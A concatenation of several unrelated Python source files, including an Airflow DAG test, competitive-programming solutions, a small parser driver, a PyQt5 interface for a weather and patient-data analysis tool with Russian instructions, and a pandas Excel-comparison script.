            '--pipeline-name',
            'resource_pipeline',
        ],
        ['--module-name', 'dagster_examples.toys.sleepy', '--pipeline-name', 'sleepy_pipeline'],
    ]

    for args in cli_args_to_test:
        runner.invoke(scaffold, args)

    # This forces Airflow to refresh DAGs; see https://stackoverflow.com/a/50356956/11295366
    from airflow.models import DagBag

    dag_bag = DagBag()

    # If Airflow hits an import error, it will add an entry to this dict.
    assert not dag_bag.import_errors

    assert args[-1] in dag_bag.dags


from sys import stdin

n = None

def solve(G,s):
  visited = [0 for _ in range(n)]
  stack,ans = list(),list()
  stack.append(s)
  while len(stack)!=0:
    u = stack.pop()
    #print("u: ",u)
    for v in G[u]:
      if not visited[v]:
        #print("v: ",v)
        stack.append(v) ; visited[v] = 1
  for i in range(n):
    if not visited[i]: ans.append(i)
  #print(ans)
  return ans

def main():
  global n
  n = int(stdin.readline().strip())
  while n!=0:
    G = [ list() for _ in range(n) ]
    line = list(map(int,stdin.readline().split()))
    while line[0]!=0:
      for i in range(1,len(line)-1):
        G[line[0]-1].append(line[i]-1)
      line = list(map(int,stdin.readline().split()))
    #print(G)
    line = list(map(int,stdin.readline().split()))
    for j in range(1,line[0]+1):
      l = solve(G,line[j]-1)
      print(len(l),end=" ")
      for u in l: print(u+1,end=" ")
      print(" ")
    n = int(stdin.readline().strip())
  return

main()


# Given n non-negative integers representing an elevation map where the width of each bar is 1, compute how much water it can trap after raining.

# Example 1:

# Input: height = [0,1,0,2,1,0,1,3,2,1,2,1]
# Output: 6
# Explanation: The above elevation map (black section) is represented by array [0,1,0,2,1,0,1,3,2,1,2,1]. In this case, 6 units of rain water (blue section) are being trapped.
# Example 2:

# Input: height = [4,2,0,3,2,5]
# Output: 9

# Constraints:

# n == height.length
# 0 <= n <= 3 * 104
# 0 <= height[i] <= 105
# Accepted
# 745,494
# Submissions
# 1,434,921
class Solution:
    def trap(self, height: List[int]) -> int:
        left_max = [0]
        for i in range(len(height)-1):
            h = height[i]
            left_max.append(max(h,left_max[-1]))
        right_max = [0]*len(height)
        for i in range(len(height)-1,0,-1):
            h = height[i]
            right_max[i-1] = max(h,right_max[i])
        #print(left_max)
        #print(right_max)
        ans = 0
        for i,h in enumerate(height):
            ans += max(min(left_max[i],right_max[i])-h,0)
        return ans


from compilador.sintactico import Sintactico
codigo = input('Ingresa una expresion: ')
sin = Sintactico(codigo=codigo)

if sin.PROGRAMA() and len(sin.errores.coleccion) == 0:
    print('Programa valido')

else:
    print('Programa invalido')
    for error in sin.errores.coleccion:
        print(error)


from PyQt5.QtWidgets import QCheckBox, QDialog, QDialogButtonBox, QTextEdit
from PyQt5.QtCore import Qt
from PyQt5.QtGui import QFont

from src.logic import QFrameBase, error_dialog

from src.frames.default import Ui_FrameDefault
from src.frames.utils.info import Ui_FrameInfo
from src.frames.utils.kde import Ui_FrameKde
from src.frames.utils.image import Ui_FrameImage
from src.frames.utils.text import Ui_FrameText
from src.frames.utils.standard_type import Ui_FrameStandardType
from src.frames.dialogs.stds import Ui_DialogStds

from src.reports import print_report

from src.science import FACTORS_ALL
from src.science.classes import Standard

class QFrameDefault(QFrameBase, Ui_FrameDefault):
    INSTRUCTIONS = \
"""Терминология:
  *  параметры погоды называются Эталонами,
  *  медицинские данные пациентов называются Образцами,
  *  отдельные факторы Образцов называются фактор-образцами

ВСЕ СТОЛБЦЫ В xlsx ФАЙЛАХ ОБЯЗАТЕЛЬНЫ К ЗАПОЛНЕНИЮ

С помощью кнопки «Добавить Пациента» заполняем данные о пациенте (все данные обязательны к заполнению) после этого, нажав кнопку «Добавить»
можно добавить пациента в базу пациентов.

С помощью кнопки «Добавить Показатели Пациента» можем выбрать пациента и базы пациентов и добавить для него показатели из xlsx файла,
нажав кнопку «Добавить показатели». При нажатии на эту кнопку можно выбрать xlsx файл с медицинскими данными пациента, они загружаются сразу четырьмя временными рядами (по факторам «без нагрузки», с физической нагрузкой», «с эмоциональной нагрузкой», «после отдыха») из xlsx-файла НА ДАННЫЙ МОМЕНТ МОЖНО ИССЛЕДОВАТЬ ТОЛЬКО КОЭФФИЦИЕНТ СИММЕТРИИ (symmetry). Столбец A – Дата в формате дд.мм.гггг и так далее столбцы BCD - параметры. Каждая ячейка – дробное число, кроме ячеек ПЕРВОГО столбца - это дата и ПОСЛЕДНЕГО - это физическое состояние пациента (строка).

С помощью кнопки «Добавить Эталон» можем выбрать xlsx файл с параметрами погоды. Столбец A – Дата в формате дд.мм.гггг и так далее столбцы BCD - параметры. Каждая ячейка – дробное число, кроме ячеек ПЕРВОГО столбца - это дата.

«Эталоны» – параметры погоды в xlsx файле расположенные в следующем порядке (Название парамера: столбец в xlsx файле):
'Дата исследования': 'date' (строка в формате дд.мм.гггг)
'Приземная скорость ветра': 'surface_wind_speed' (вещественное число, дробная часть отделяется от целой символом точки)
'Приземная температура': 'surface_temp' (вещественное число, дробная часть отделяется от целой символом точки)
'Приземная влажность': 'surface_wet' (вещественное число, дробная часть отделяется от целой символом точки)
'Приземное давление': 'surface_press' (вещественное число, дробная часть отделяется от целой символом точки)
'BX': 'bx_mmp' (вещественное число, дробная часть отделяется от целой символом точки)
'BY': 'by_mmp' (вещественное число, дробная часть отделяется от целой символом точки)
'BZ': 'bz_mmp' (вещественное число, дробная часть отделяется от целой символом точки)
'B-Vector': 'b_vector_mmp' (вещественное число, дробная часть отделяется от целой символом точки)
'Плотность протонов солнеччного ветра': 'proton_density' (вещественное число, дробная часть отделяется от целой символом точки)
'Скорость плазмы солнечного ветра': 'plasma_speed' (вещественное число, дробная часть отделяется от целой символом точки)
'Давление солнечного ветра': 'press_sun_wind' (вещественное число, дробная часть отделяется от целой символом точки)
'КР': 'kp_index' (вещественное число, дробная часть отделяется от целой символом точки)
'Радиоизлучение': 'radio_emission' (вещественное число, дробная часть отделяется от целой символом точки)
'Рентгеновское излучение Солнца-1': 'xray_sun_one' (вещественное число, дробная часть отделяется от целой символом точки)
'Рентгеновское излучение Солнца-2': 'xray_sun_two' (вещественное число, дробная часть отделяется от целой символом точки)
'Ультрофиолет-A': 'ultraviolet_a' (вещественное число, дробная часть отделяется от целой символом точки)
'Ультрофиолет-B': 'ultraviolet_b' (вещественное число, дробная часть отделяется от целой символом точки)
'Ультрофиолет-C': 'ultraviolet_c' (вещественное число, дробная часть отделяется от целой символом точки)

«Пациенты» – медицинские данные пациентов в xlsx файле расположенные в следующем порядке (Название параметра: cтолбец в xlsx файле):
'Дата исследования': 'date' (строка в формате дд.мм.гггг)
'Коэффициент симметрии': 'symmetry' (вещественное число, дробная часть отделяется от целой символом точки)
'Верхнее артериальное давление': 'upper_arterial_pressure' (вещественное число, дробная часть отделяется от целой символом точки)
'Нижнее арториальное давление': 'lower_arterial_pressure' (вещественное число, дробная часть отделяется от целой символом точки)
'chss': 'chss' (вещественное число, дробная часть отделяется от целой символом точки)
'variab': 'variab' (вещественное число, дробная часть отделяется от целой символом точки)
'Угол': 'angle' (вещественное число, дробная часть отделяется от целой символом точки)
'Состояние пациента при исследованиии': 'patients_state' (1 - без нагрузки, 2 - с физической нагрузкой, 3 - с эмоциональной нагрузкой, 4 - после отдыха)
'Физическое состояние пациента': 'physical_state' (любая строка)

     В окне «Ведущий ряд» выбирается любой из загруженных файлов, затем в окне «Ведомый ряд» выбирается также любой из загруженных файлов (ряды распределения расстояний формируются от максимумов Ведомого ряда до максимумов Ведущего ряда)

     В основном окне показываются фрагменты анализа в зависимости от выбранных кнопок «Все факторы», «Без нагрузки», «С физической нагрузкой», «С эмоциональной нагрузкой», «После отдыха», «Визуализация», «Статистика», «Тестирование нормальности», «4-х ядерные оценки» (график показывает ядерные оценки плотности распределений для всех факторов), «3-х ядерные оценки» (график показывает ядерные оценки плотности распределений расстояний от максимумов факторов «С физической нагрузкой», «С эмоциональной нагрузкой», «После отдыха» до фактора «Без нагрузки»)

     Для формирования файла отчета (в формате docx) по выбранному эталону необходимо нажать кнопку «Сформировать отчет», в открывшемся окне выбрать фактор или все факторы и нажать кнопку «Сохранить» – будет предложено выбрать название файла и место для сохранения.
     Для формирования файла отчета (в формате docx) по группе эталонов необходимо нажать кнопку «Сформировать групповой отчет», в открывшемся окне выбрать группу эталонов и фактор и нажать кнопку «Сохранить» – будет предложено выбрать название файла и место для сохранения.
"""

    def __init__(self, parent):
        QFrameBase.__init__(self, parent, Ui_FrameDefault)
        self.add_text(QFrameDefault.INSTRUCTIONS, self.instructions_edit)
        delattr(self.instructions_edit, "c_updating")
        font = QFont("Times New Roman", 11)
        self.instructions_edit.setFont(font)
        self.instructions_edit.verticalScrollBar().setEnabled(True)

class QFrameInfo(QFrameBase, Ui_FrameInfo):
    def __init__(self, parent, report, val_type: str = "val"):
        QFrameBase.__init__(self, parent, Ui_FrameInfo)
        self.report = report
        self.val_type = val_type

        self.frames = [QFrameImage(self, self.report, self.val_type),
                       QFrameText(self, self.report, self.val_type, 'stat'),
                       QFrameText(self, self.report, self.val_type, 'ntest')]

        for info in range(3):
            self.tabs.widget(info).layout().insertWidget(0, self.frames[info])

# Убрать, объединить в одно с классом Info
class QFrameInfoKde(QFrameBase, Ui_FrameInfo):
    def __init__(self, parent, report, val_type: str = "val"):
        QFrameBase.__init__(self, parent, Ui_FrameInfo)
        self.report = report
        self.val_type = val_type

        self.frames = [QFrameKde(self, self.report), QFrameText(self, self.report, self.val_type, 'stat'),
                       QFrameText(self, self.report, self.val_type, 'ntest')]

        for info in range(3):
            self.tabs.widget(info).layout().insertWidget(0, self.frames[info])

# KDE куда лучше убрать
class QFrameKde(QFrameBase, Ui_FrameKde):
    def __init__(self, parent, report):
        QFrameBase.__init__(self, parent, Ui_FrameKde)
        self.report = report

        self.frames = [QFrameImage(self, self.report, "kde"), QFrameImage(self, self.report, "kde3")]

        for info in range(2):
            self.tabs.widget(info).layout().insertWidget(0, self.frames[info])

class QFrameImage(QFrameBase, Ui_FrameImage):
    def __init__(self, parent, report, va_type: str):
        QFrameBase.__init__(self, parent, Ui_FrameImage)
        self.report = report
        self.va_type = va_type

        self.va, self.image_name = self.get_va()

        self.add_image(self.va, self.image, self.image_name)

    # Убрать отсюда
    def get_va(self):
        if self.va_type == "val":
            return self.report.va, 'va_img1'
        elif self.va_type == "apl":
            return self.report.va_apl, 'va_img2'
        elif self.va_type == "kde":
            return self.report.kde, 'label_kde_img'
        elif self.va_type == "kde3":
            return self.report.kde3, 'label_kde3_img'

class QFrameStandardType(QFrameBase, Ui_FrameStandardType):
    def __init__(self, parent, report):
        QFrameBase.__init__(self, parent, Ui_FrameStandardType)
        self.report = report

        self.frames = [QFrameInfo(self, self.report, "val"), QFrameInfo(self, self.report, "apl")]

        for info in range(2):
            self.tabs.widget(info).layout().insertWidget(0, self.frames[info])

class QFrameText(QFrameBase, Ui_FrameText):
    def __init__(self, parent, report, val_type: str, func_name: str):
        QFrameBase.__init__(self, parent, Ui_FrameText)
        self.report = report
        self.val_type = val_type
        self.func_name = func_name

        self.add_text(print_report('ui', self.get_func()), self.text_edit)

    # Убрать отсюда
    def get_func(self):
        if self.val_type == "val":
            return self.func_val()
        elif self.val_type == "apl":
            return self.func_apl()
        elif self.val_type == "kde":
            return self.func_kde()

    # Убрать отсюда
    def func_val(self):
        if self.func_name == "stat":
            return self.report.get_report_stat
        else:
            return self.report.get_report_ntest

    # Убрать отсюда
    def func_apl(self):
        if self.func_name == "stat":
            return self.report.get_report_stat_apl
        else:
            return self.report.get_report_ntest_apl

    # Убрать отсюда
    def func_kde(self):
        if self.func_name == "stat":
            return self.report.get_report_stat3
        else:
            return self.report.get_report_ntest3

class QDialogStds(QDialog, Ui_DialogStds):
    def __init__(self, parent, **kwargs):
        # noinspection PyArgumentList
        QDialog.__init__(self, parent)
        Ui_DialogStds.setupUi(self, self)

        self.dimension = 1
        self.result = None
        # Эталоны
        self.get_stds = kwargs.get("get_stds", False)
        self.std_main = kwargs.get("std_main", None)
        if self.get_stds:
            self.dimension += 1

        # Факторы
        self.btn_all.setChecked(True)
        # Эталоны
        if self.get_stds:
            self.cbs = []
            for v in reversed(sorted(list(Standard.standards.keys()))):
                self.cbs.append(QCheckBox(v, self))
                if self.std_main is None or self.std_main != v:
                    self.cbs[-1].setChecked(False)
                else:
                    self.cbs[-1].setChecked(1)
                self.layout_stds.insertWidget(0, self.cbs[-1])
        else:
            self.layout().removeItem(self.layout_stds)

        self.buttons.button(QDialogButtonBox.Save).setText("Сохранить")
        self.buttons.button(QDialogButtonBox.Cancel).setText("Отмена")
        self.setWindowFlags(self.windowFlags() ^ Qt.WindowContextHelpButtonHint)

    def accept(self):
        self.result = []
        # Факторы
        if self.btn_all.isChecked():
            factor = FACTORS_ALL
        else:
            for idx in range(4):
                if self.__dict__["btn_{}".format(idx)].isChecked():
                    factor = idx
                    break
            else:
                error_dialog("Не выбран ни один фактор/все факторы")
                return
        self.result.append(factor)
        # Эталоны
        if self.get_stds:
            stds = [cb.text() for cb in self.cbs if cb.isChecked()]
            if not len(stds):
                error_dialog("Выберите по крайней мере один эталон")
                return
            self.result.append(stds)

        QDialog.accept(self)

    @staticmethod
    def settings(parent, **kwargs):
        dialog = QDialogStds(parent, **kwargs)
        if dialog.exec():
            res = dialog.result
        else:
            res = [None] * dialog.dimension
        return res[0] if len(res) == 1 else res


def ad(p, arr, arr2):
    i = 0
    j = 0
    s = 0
    l = len(arr)
    while(i < l):
        if(i+p < l):
            j = i
            while(j<=i + p):
                s += arr[j]
                j += 1
            arr2.append(s)
        s = 0
        i += 1

def arr_prep(at):
    arr = at
    arr2 = []
    x = 0
    lt = len(arr)
    Low = 0
    High = 0
    while (x<lt):
        ad(x, arr , arr2)
        x += 1
    arr2.sort()
    return arr2

def eachcase():
    ne_arr_init = input().split()
    ne_arr = int(ne_arr_init[0])
    query = int(ne_arr_init[1])
    a = 0
    ast = input().split()
    arr = []
    arr2 = []
    while (a<ne_arr):
        arr.append(int(ast[a]))
        a += 1
    arr2 = arr_prep(arr)
    qd = 0
    while (qd < query):
        finalout(arr2)
        qd += 1

def finalout(arr2):
    ran = input().split()
    Low = int(ran[0])
    High = int(ran[1])

    b = Low - 1
    sumout = 0
    while (b<High):
        sumout += arr2[b]
        b += 1
    print(sumout)

case = int(input())
vd = 1
while vd <= case:
    print("Case #" + str(vd) + ": ")
    eachcase()
    vd += 1

COMPETETIVE CHALLANGES/GOOGLE CODE JAM KICKSTART/2018 Round Practice/Sum Of Sums - (Unsolved)/main.py


#!/bin/python
# ===========================================================
# Created By: Richard Barrett
# Organization: DVISD
# DepartmenT: Data Services
# Purpose: Test Score & 3rd Party Website Data Pull Automation
# Date: 02/12/2020
# ===========================================================

import pandas as pd

df1 = pd.read_excel('EOCTestTrackerReport (2).xls')
df2 = pd.read_excel('SKR3437679V0A1Y4N1321699.xlsx')

difference = df1[df1!=df2]
print(difference)